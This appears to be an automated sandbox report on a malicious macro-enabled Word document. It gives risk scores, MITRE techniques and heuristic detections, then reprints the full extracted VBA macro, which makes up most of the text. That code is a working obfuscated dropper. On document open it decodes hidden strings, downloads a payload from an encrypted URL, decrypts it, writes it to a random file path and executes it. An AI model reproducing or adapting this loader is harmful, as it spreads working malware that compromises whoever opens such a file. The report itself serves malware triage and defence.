MALICIOUS
360
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
T1140 Deobfuscate/Decode Files or Information
The sample is an OOXML document containing obfuscated VBA macros, specifically an auto-exec loader within the Document_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering tactic to bypass macro security. The VBA script likely attempts to download and execute a second-stage payload, as indicated by the 'CreateObject' and 'GetObject' calls and the presence of obfuscated code.
Heuristics 11
-
ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
-
VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set IX7nPswwL81Iv57SL = CreateObject(TdxHQmp4YyTfAv(Chr(116) + Chr(126) + Chr(111) + Chr(223) + Chr(78) + Chr(50) + Chr(123) + Chr(117) + Chr(149) + Chr(124) + Chr(205) + Chr(11) + Chr(77) + Chr(220) + Chr(81) + Chr(172) + Chr(130), "NAoUWNKg7kiDfr")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set IX7nPswwL81Iv57SL = CreateObject(TdxHQmp4YyTfAv(Chr(116) + Chr(126) + Chr(111) + Chr(223) + Chr(78) + Chr(50) + Chr(123) + Chr(117) + Chr(149) + Chr(124) + Chr(205) + Chr(11) + Chr(77) + Chr(220) + Chr(81) + Chr(172) + Chr(130), "NAoUWNKg7kiDfr")) -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
GetObject 50, 75 -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
XKklIk9ltC9O6Xms = Environ(TdxHQmp4YyTfAv(Chr(177) + Chr(244) + Chr(186) + Chr(62) + Chr(169) + Chr(129) + Chr(125), "BKm63bDMFnIIzI")) & "\" & UnelUImol & TdxHQmp4YyTfAv(Chr(172) + Chr(174) + Chr(250) + Chr(231), "OHBiruGtMXyBAL") -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 12699 bytes |
SHA-256: 7c91153180c8f9364edd1ebd09b5764d2711e6554d973aa641f0868f725105ab |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
87 of 170 identifiers look randomly generated (e.g. 'Sn7YUYkBErToqYCP5') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function TdxHQmp4YyTfAv(ByVal GwLlmE4kHK9 As String, ByVal WHfIWN As String) As String Dim Oou1OLLa As Long, NcChujs2FtI As Long Oou1OLLa = 7 NcChujs2FtI = 80 If Oou1OLLa + NcChujs2FtI > 2 Then NcChujs2FtI = Oou1OLLa + 33 Else MsgBox 76 End If On Error Resume Next Dim U1i9zvcWp4INlt As Long, If0Ex6LXuyeGv5 As Long U1i9zvcWp4INlt = 88 If0Ex6LXuyeGv5 = 35 If U1i9zvcWp4INlt + If0Ex6LXuyeGv5 > 2 Then If0Ex6LXuyeGv5 = U1i9zvcWp4INlt + 69 Else MsgBox 92 End If Dim DX9RsbU4jPU(0 To 255) As Integer, O9ZeNZMYhnv As Long, A8zOaZ9V8P As Long, StEwKW95NKSqFWl As Long, JqrgyWe5DKU9fmukX() As Byte, AJB9OTBu68Rfhws() As Byte, YNQFEg7ZKFpt2TkgE As Byte Dim GWeApUymX7F As Long, GafLgYHH9g As Long GWeApUymX7F = 78 GafLgYHH9g = 40 If GWeApUymX7F + GafLgYHH9g > 2 Then GafLgYHH9g = GWeApUymX7F + 57 Else MsgBox 58 End If JqrgyWe5DKU9fmukX() = StrConv(WHfIWN, vbFromUnicode) Dim XiFKmJHCIJIvGhSjE As Long, Q3KiOXMK As Long XiFKmJHCIJIvGhSjE = 63 Q3KiOXMK = 84 If XiFKmJHCIJIvGhSjE + Q3KiOXMK > 2 Then Q3KiOXMK = XiFKmJHCIJIvGhSjE + 95 Else MsgBox 88 End If For O9ZeNZMYhnv = 0 To 255 DX9RsbU4jPU(O9ZeNZMYhnv) = O9ZeNZMYhnv Next O9ZeNZMYhnv O9ZeNZMYhnv = 0 A8zOaZ9V8P = 0 StEwKW95NKSqFWl = 0 For O9ZeNZMYhnv = 0 To 255 A8zOaZ9V8P = (A8zOaZ9V8P + DX9RsbU4jPU(O9ZeNZMYhnv) + JqrgyWe5DKU9fmukX(O9ZeNZMYhnv Mod Len(WHfIWN))) Mod 256 YNQFEg7ZKFpt2TkgE = DX9RsbU4jPU(O9ZeNZMYhnv) DX9RsbU4jPU(O9ZeNZMYhnv) = DX9RsbU4jPU(A8zOaZ9V8P) DX9RsbU4jPU(A8zOaZ9V8P) = YNQFEg7ZKFpt2TkgE Next O9ZeNZMYhnv O9ZeNZMYhnv = 0 A8zOaZ9V8P = 0 StEwKW95NKSqFWl = 0 AJB9OTBu68Rfhws() = StrConv(GwLlmE4kHK9, vbFromUnicode) For O9ZeNZMYhnv = 0 To Len(GwLlmE4kHK9) A8zOaZ9V8P = (A8zOaZ9V8P + 1) Mod 256 StEwKW95NKSqFWl = (StEwKW95NKSqFWl + DX9RsbU4jPU(A8zOaZ9V8P)) Mod 256 YNQFEg7ZKFpt2TkgE = DX9RsbU4jPU(A8zOaZ9V8P) DX9RsbU4jPU(A8zOaZ9V8P) = DX9RsbU4jPU(StEwKW95NKSqFWl) DX9RsbU4jPU(StEwKW95NKSqFWl) = YNQFEg7ZKFpt2TkgE AJB9OTBu68Rfhws(O9ZeNZMYhnv) = AJB9OTBu68Rfhws(O9ZeNZMYhnv) Xor (DX9RsbU4jPU((DX9RsbU4jPU(A8zOaZ9V8P) + DX9RsbU4jPU(StEwKW95NKSqFWl)) Mod 256)) Next O9ZeNZMYhnv Dim TFZARJnZF91YP As Long, WbIuivgl84K As Long TFZARJnZF91YP = 49 WbIuivgl84K = 80 If TFZARJnZF91YP + WbIuivgl84K > 2 Then WbIuivgl84K = TFZARJnZF91YP + 32 Else MsgBox 31 End If TdxHQmp4YyTfAv = StrConv(AJB9OTBu68Rfhws, vbUnicode) Dim IGR1vVH0claz As Long, PjyRhT25Q As Long IGR1vVH0claz = 89 PjyRhT25Q = 7 If IGR1vVH0claz + PjyRhT25Q > 2 Then PjyRhT25Q = IGR1vVH0claz + 8 Else MsgBox 5 End If End Function Sub EzgNfWz0ZkLoUPGSW() Dim L8Bw6mvgjK9 As Long, UTo3U01f As Long L8Bw6mvgjK9 = 47 UTo3U01f = 87 If L8Bw6mvgjK9 + UTo3U01f > 2 Then UTo3U01f = L8Bw6mvgjK9 + 13 Else MsgBox 88 End If Dim XKklIk9ltC9O6Xms As String, IX7nPswwL81Iv57SL As Object, FKYGumBeAorY8pCb As Integer Dim QvhlrLfJlgq As Long, Iyrli8v As Long QvhlrLfJlgq = 46 Iyrli8v = 90 If QvhlrLfJlgq + Iyrli8v > 2 Then Iyrli8v = QvhlrLfJlgq + 4 Else MsgBox 17 End If XKklIk9ltC9O6Xms = Environ(TdxHQmp4YyTfAv(Chr(177) + Chr(244) + Chr(186) + Chr(62) + Chr(169) + Chr(129) + Chr(125), "BKm63bDMFnIIzI")) & "\" & UnelUImol & TdxHQmp4YyTfAv(Chr(172) + Chr(174) + Chr(250) + Chr(231), "OHBiruGtMXyBAL") Dim LxJJjzbB9K5cV As Long, RaXUss8bY As Long LxJJjzbB9K5cV = 20 RaXUss8bY = 41 If LxJJjzbB9K5cV + RaXUss8bY > 2 Then RaXUss8bY = LxJJjzbB9K5cV + 30 Else MsgBox 65 End If Set IX7nPswwL81Iv57SL = CreateObject(TdxHQmp4YyTfAv(Chr(116) + Chr(126) + Chr(111) + Chr(223) + Chr(78) + Chr(50) + Chr(123) + Chr(117) + Chr(149) + Chr(124) + Chr(205) + Chr(11) + Chr(77) + Chr(220) + Chr(81) + Chr(172) + Chr(130), "NAoUWNKg7kiDfr")) Dim Sn7YUYkBErToqYCP5 As Long, FwZbw3wLT5MbOR As Long Sn7YUYkBErToqYCP5 = 51 FwZbw3wLT5MbOR = 74 If Sn7YUYkBErToqYCP5 + FwZbw3wLT5MbOR > 2 Then FwZbw3wLT5MbOR = Sn7YUYkBErToqYCP5 + 51 Else MsgBox 46 End If IX7nPswwL81Iv57SL.Open TdxHQmp4YyTfAv(Chr(141) + Chr(214) + Chr(20), "SzpsyAYAuq4CYe"), TdxHQmp4YyTfAv(Chr(103) + Chr(110) + Chr(122) + Chr(7) + Chr(171) + Chr(80) + Chr(39) + Chr(106) + Chr(147) + Chr(24) + Chr(77) + Chr(183) + Chr(59) + Chr(172) + Chr(166) + Chr(168) + Chr(246) + Chr(60) + Chr(238) + Chr(220) + Chr(149) + Chr(169) + Chr(69) + Chr(214) + Chr(145) + Chr(242) + Chr(180), "KU01fjzbB9K5cV"), False Dim Ikuki4QO1Y As Long, YJN As Long Ikuki4QO1Y = 69 YJN = 18 If Ikuki4QO1Y + YJN > 2 Then YJN = Ikuki4QO1Y + 73 Else MsgBox 32 End If IX7nPswwL81Iv57SL.setRequestHeader TdxHQmp4YyTfAv(Chr(61) + Chr(183) + Chr(93) + Chr(136) + Chr(236) + Chr(243) + Chr(234) + Chr(11) + Chr(25) + Chr(67), "YprGRxj4yT8ABD"), TdxHQmp4YyTfAv(Chr(126) + Chr(246) + Chr(91) + Chr(49) + Chr(186) + Chr(103) + Chr(123) + Chr(46) + Chr(184) + Chr(191) + Chr(202), "GEpSVuogVD9wd3Bt") IX7nPswwL81Iv57SL.send If IX7nPswwL81Iv57SL.readyState = 4 And IX7nPswwL81Iv57SL.Status = 200 Then Dim RvyLZ3beM2Uj As Long, Q9fF46u As Long RvyLZ3beM2Uj = 10 Q9fF46u = 24 If RvyLZ3beM2Uj + Q9fF46u > 2 Then Q9fF46u = RvyLZ3beM2Uj + 81 Else MsgBox 7 End If FKYGumBeAorY8pCb = FreeFile Open XKklIk9ltC9O6Xms For Binary Access Write Lock Write As #FKYGumBeAorY8pCb Put #FKYGumBeAorY8pCb, , TdxHQmp4YyTfAv(StrConv(IX7nPswwL81Iv57SL.ResponseBody, vbUnicode), TdxHQmp4YyTfAv(Chr(142) + Chr(122) + Chr(17) + Chr(96) + Chr(106) + Chr(196) + Chr(179) + Chr(0) + Chr(214), "FwEt")) Close #FKYGumBeAorY8pCb Dim P3YYeGEJps7g As Long, B3gh4q5W7Kg As Long P3YYeGEJps7g = 27 B3gh4q5W7Kg = 72 If P3YYeGEJps7g + B3gh4q5W7Kg > 2 Then B3gh4q5W7Kg = P3YYeGEJps7g + 36 Else MsgBox 92 End If Y4gpuqhnv 1 Dim WpLpAvf7uZ7 As Long, H0rBKAgUgCV As Long WpLpAvf7uZ7 = 65 H0rBKAgUgCV = 30 If WpLpAvf7uZ7 + H0rBKAgUgCV > 2 Then H0rBKAgUgCV = WpLpAvf7uZ7 + 35 Else MsgBox 74 End If CreateObject(TdxHQmp4YyTfAv(Chr(70) + Chr(186) + Chr(128) + Chr(69) + Chr(137) + Chr(214) + Chr(175) + Chr(74) + Chr(1) + Chr(239) + Chr(169) + Chr(231) + Chr(231), "O5n5vf")).exec """" & XKklIk9ltC9O6Xms & """" Dim SLxp2p As Long, YTWkcIZQ9UGI As Long SLxp2p = 54 YTWkcIZQ9UGI = 62 If SLxp2p + YTWkcIZQ9UGI > 2 Then YTWkcIZQ9UGI = SLxp2p + 12 Else MsgBox 89 End If End If Dim OrtSmT As Long, DUGSYhXA3M As Long OrtSmT = 78 DUGSYhXA3M = 17 If OrtSmT + DUGSYhXA3M > 2 Then DUGSYhXA3M = OrtSmT + 76 Else MsgBox 23 End If Set IX7nPswwL81Iv57SL = Nothing Dim QV19V65y As Long, XvCUQjxp2p As Long QV19V65y = 74 XvCUQjxp2p = 2 If QV19V65y + XvCUQjxp2p > 2 Then XvCUQjxp2p = QV19V65y + 21 Else MsgBox 88 End If End Sub Sub Document_Open() Dim Qbsokunb7E As Long, Omep7hKFCf1 As Long Qbsokunb7E = 50 Omep7hKFCf1 = 75 If Qbsokunb7E + Omep7hKFCf1 > 2 Then Omep7hKFCf1 = Qbsokunb7E + 73 Else MsgBox 5 End If Dim FTyftY0eDS As Long, CJet2rH As Long, NAkyXT5eC As Long Dim Ne39KWF As Long, BJ7kp6WasFK As Long Ne39KWF = 22 BJ7kp6WasFK = 84 If Ne39KWF + BJ7kp6WasFK > 2 Then BJ7kp6WasFK = Ne39KWF + 96 Else MsgBox 34 End If FTyftY0eDS = 981818942: CJet2rH = 0: NAkyXT5eC = 0 Dim HGxT6pBFb0fvdRv As Long, XdQGIyJ5dnowc9p7g As Long HGxT6pBFb0fvdRv = 16 XdQGIyJ5dnowc9p7g = 4 If HGxT6pBFb0fvdRv + XdQGIyJ5dnowc9p7g > 2 Then XdQGIyJ5dnowc9p7g = HGxT6pBFb0fvdRv + 39 Else MsgBox 33 End If For CJet2rH = 1 To FTyftY0eDS NAkyXT5eC = NAkyXT5eC + 1 Next CJet2rH Dim VFClAQCM6WasFK As Long, PJJiSpdTSVq4 As Long VFClAQCM6WasFK = 81 PJJiSpdTSVq4 = 78 If VFClAQCM6WasFK + PJJiSpdTSVq4 > 2 Then PJJiSpdTSVq4 = VFClAQCM6WasFK + 88 Else MsgBox 59 End If If NAkyXT5eC = FTyftY0eDS Then Dim QrR12d50t3 As Long, Tvj3 As Long QrR12d50t3 = 97 Tvj3 = 82 If QrR12d50t3 + Tvj3 > 2 Then Tvj3 = QrR12d50t3 + 75 Else MsgBox 97 End If EzgNfWz0ZkLoUPGSW Dim Gy2NDqX8vg7rp0 As Long, WBdXBeDG6a As Long Gy2NDqX8vg7rp0 = 91 WBdXBeDG6a = 74 If Gy2NDqX8vg7rp0 + WBdXBeDG6a > 2 Then WBdXBeDG6a = Gy2NDqX8vg7rp0 + 1 Else MsgBox 21 End If Else Dim QxUduCTpA85 As Long, S2NnCuCQ9 As Long QxUduCTpA85 = 22 S2NnCuCQ9 = 57 If QxUduCTpA85 + S2NnCuCQ9 > 2 Then S2NnCuCQ9 = QxUduCTpA85 + 7 Else MsgBox 57 End If W82Rn8LmB6PtOWsR4 Dim PJzbJG739KWF As Long, Bu8OYC2cJoGcLwG As Long PJzbJG739KWF = 26 Bu8OYC2cJoGcLwG = 71 If PJzbJG739KWF + Bu8OYC2cJoGcLwG > 2 Then Bu8OYC2cJoGcLwG = PJzbJG739KWF + 61 Else MsgBox 18 End If End If Dim Ung1vMXjP As Long, BIj8Wiiwm As Long Ung1vMXjP = 9 BIj8Wiiwm = 24 If Ung1vMXjP + BIj8Wiiwm > 2 Then BIj8Wiiwm = Ung1vMXjP + 4 Else MsgBox 64 End If End Sub Sub Y4gpuqhnv(KkWTzjGFhBKMJyKRx As Long) Dim X11ATOI7lPuV As Long, SvwYl8Uh85ATMwL As Long X11ATOI7lPuV = 60 SvwYl8Uh85ATMwL = 23 If X11ATOI7lPuV + SvwYl8Uh85ATMwL > 2 Then SvwYl8Uh85ATMwL = X11ATOI7lPuV + 35 Else MsgBox 71 End If Dim FjrkMDI6RXrFQ As Long Dim A09Ung As Long, PtJ0LW1N0q3j As Long A09Ung = 92 PtJ0LW1N0q3j = 96 If A09Ung + PtJ0LW1N0q3j > 2 Then PtJ0LW1N0q3j = A09Ung + 59 Else MsgBox 97 End If FjrkMDI6RXrFQ = Timer + KkWTzjGFhBKMJyKRx Do While Timer < FjrkMDI6RXrFQ DoEvents Loop Dim NrTTwn As Long, CkB4QJf48zU As Long NrTTwn = 90 CkB4QJf48zU = 78 If NrTTwn + CkB4QJf48zU > 2 Then CkB4QJf48zU = NrTTwn + 14 Else MsgBox 8 End If End Sub Function UnelUImol() As String Dim KoYKQOU82lX As Long, EKL0NcD6QkKZ As Long KoYKQOU82lX = 85 EKL0NcD6QkKZ = 91 If KoYKQOU82lX + EKL0NcD6QkKZ > 2 Then EKL0NcD6QkKZ = KoYKQOU82lX + 75 Else MsgBox 23 End If Dim BJhs6fx18() As Byte, W75FUlOmj5Sh4AvRc() As Byte, DyjBM920tm4oyRdx As Long, YxzUPk379qBCCmAps As Long, Nszge99ZAAgdgSM As String, Q1zASVqlqza6 As String, Y5MjXdC As Long Dim N2tCWAKJwOU As Long, UF6UNa As Long N2tCWAKJwOU = 27 UF6UNa = 22 If N2tCWAKJwOU + UF6UNa > 2 Then UF6UNa = N2tCWAKJwOU + 10 Else MsgBox 45 End If Y5MjXdC = 0 Dim RHp1sACA1iRwadG As Long, Xf6DhiQNs As Long RHp1sACA1iRwadG = 28 Xf6DhiQNs = 18 If RHp1sACA1iRwadG + Xf6DhiQNs > 2 Then Xf6DhiQNs = RHp1sACA1iRwadG + 74 Else MsgBox 77 End If SfVU0DrDoUp: Dim STYLMm09ioASId As Long, NwmoUq0tlm As Long STYLMm09ioASId = 53 NwmoUq0tlm = 68 If STYLMm09ioASId + NwmoUq0tlm > 2 Then NwmoUq0tlm = STYLMm09ioASId + 48 Else MsgBox 9 End If Randomize Q1zASVqlqza6 = Int(30 * Rnd) If Q1zASVqlqza6 < 4 Then GoTo SfVU0DrDoUp Y5MjXdC = Q1zASVqlqza6 If Y5MjXdC > 0& Then Dim AGBJFeDkOc9nEE1F As Long, XJZjpZA3lHw As Long AGBJFeDkOc9nEE1F = 40 XJZjpZA3lHw = 79 If AGBJFeDkOc9nEE1F + XJZjpZA3lHw > 2 Then XJZjpZA3lHw = AGBJFeDkOc9nEE1F + 89 Else MsgBox 5 End If Nszge99ZAAgdgSM = TdxHQmp4YyTfAv(Chr(74) + Chr(232) + Chr(174) + Chr(118) + Chr(28) + Chr(169) + Chr(186) + Chr(36) + Chr(78) + Chr(80), "N8lr768v6JB3") Randomize BJhs6fx18 = Nszge99ZAAgdgSM DyjBM920tm4oyRdx = Len(Nszge99ZAAgdgSM) - 1& Y5MjXdC = (Y5MjXdC * 2&) - 1& ReDim W75FUlOmj5Sh4AvRc(Y5MjXdC) As Byte Dim ULyZP0baP8 As Long, PsXheebiX As Long ULyZP0baP8 = 56 PsXheebiX = 59 If ULyZP0baP8 + PsXheebiX > 2 Then PsXheebiX = ULyZP0baP8 + 77 Else MsgBox 95 End If For YxzUPk379qBCCmAps = 0& To Y5MjXdC Step 2& W75FUlOmj5Sh4AvRc(YxzUPk379qBCCmAps) = BJhs6fx18(CLng(DyjBM920tm4oyRdx * Rnd) * 2&) Next Dim XUI2JBz2Sbcg As Long, Nah As Long XUI2JBz2Sbcg = 66 Nah = 75 If XUI2JBz2Sbcg + Nah > 2 Then Nah = XUI2JBz2Sbcg + 47 Else MsgBox 60 End If End If Dim AcmFyarMvPD As Long, PgoOA2n6sZYr As Long AcmFyarMvPD = 52 PgoOA2n6sZYr = 71 If AcmFyarMvPD + PgoOA2n6sZYr > 2 Then PgoOA2n6sZYr = AcmFyarMvPD + 12 Else MsgBox 38 End If UnelUImol = W75FUlOmj5Sh4AvRc Dim VpGBJFeD As Long, GuZP0baP8 As Long VpGBJFeD = 18 GuZP0baP8 = 74 If VpGBJFeD + GuZP0baP8 > 2 Then GuZP0baP8 = VpGBJFeD + 77 Else MsgBox 40 End If End Function Sub W82Rn8LmB6PtOWsR4() Dim A2E1mWvn7l As Long, R2139kvemOoHJpi8 As Long A2E1mWvn7l = 22 R2139kvemOoHJpi8 = 59 If A2E1mWvn7l + R2139kvemOoHJpi8 > 2 Then R2139kvemOoHJpi8 = A2E1mWvn7l + 74 Else MsgBox 54 End If Weekday 60 NPer 54, 63, 89 Resume WPvwoLw2FN9 = CSng(83) GetObject 50, 75 Year 25 Load L1MAJJQLkSx50 TimeSerial 25, 77, 93 DatePart "KwUV4V1MO9yt", 18 Randomize Rnd Err.Raise 72 Second 10 L7DpY7pL5VK = LCase(69) If CCur(16) = True Then ATpwkR4QKiQ = 501 LoadPicture 51, 72, 61, 95, 63 N4ebZMO6T7birS = Cos(10) DateSerial 8, 76, 96 Mm4dqvBljn = Fix(8) Beep DateAdd "YpeK", 1, 23 TRJMNGWxGsymwKYz = CVErr(56) IsError 84 Stop Log 98 InputBox 2, 20, 65, 55, 12 Atn 16 Command TimeValue 78 GetAllSettings 90, 28 Dim O4SGXb0RsERn As Long, QH1GHVOlmz As Long O4SGXb0RsERn = 69 QH1GHVOlmz = 66 If O4SGXb0RsERn + QH1GHVOlmz > 2 Then QH1GHVOlmz = O4SGXb0RsERn + 76 Else MsgBox 47 End If End Sub |
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 32256 bytes |
SHA-256: 02e0e6165ba772e4cb04836f2cf509c34ac63cbe492ee090163800d45d198c83 |
|||
|
Detection
ClamAV:
Doc.Malware.Chronos-6897935-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.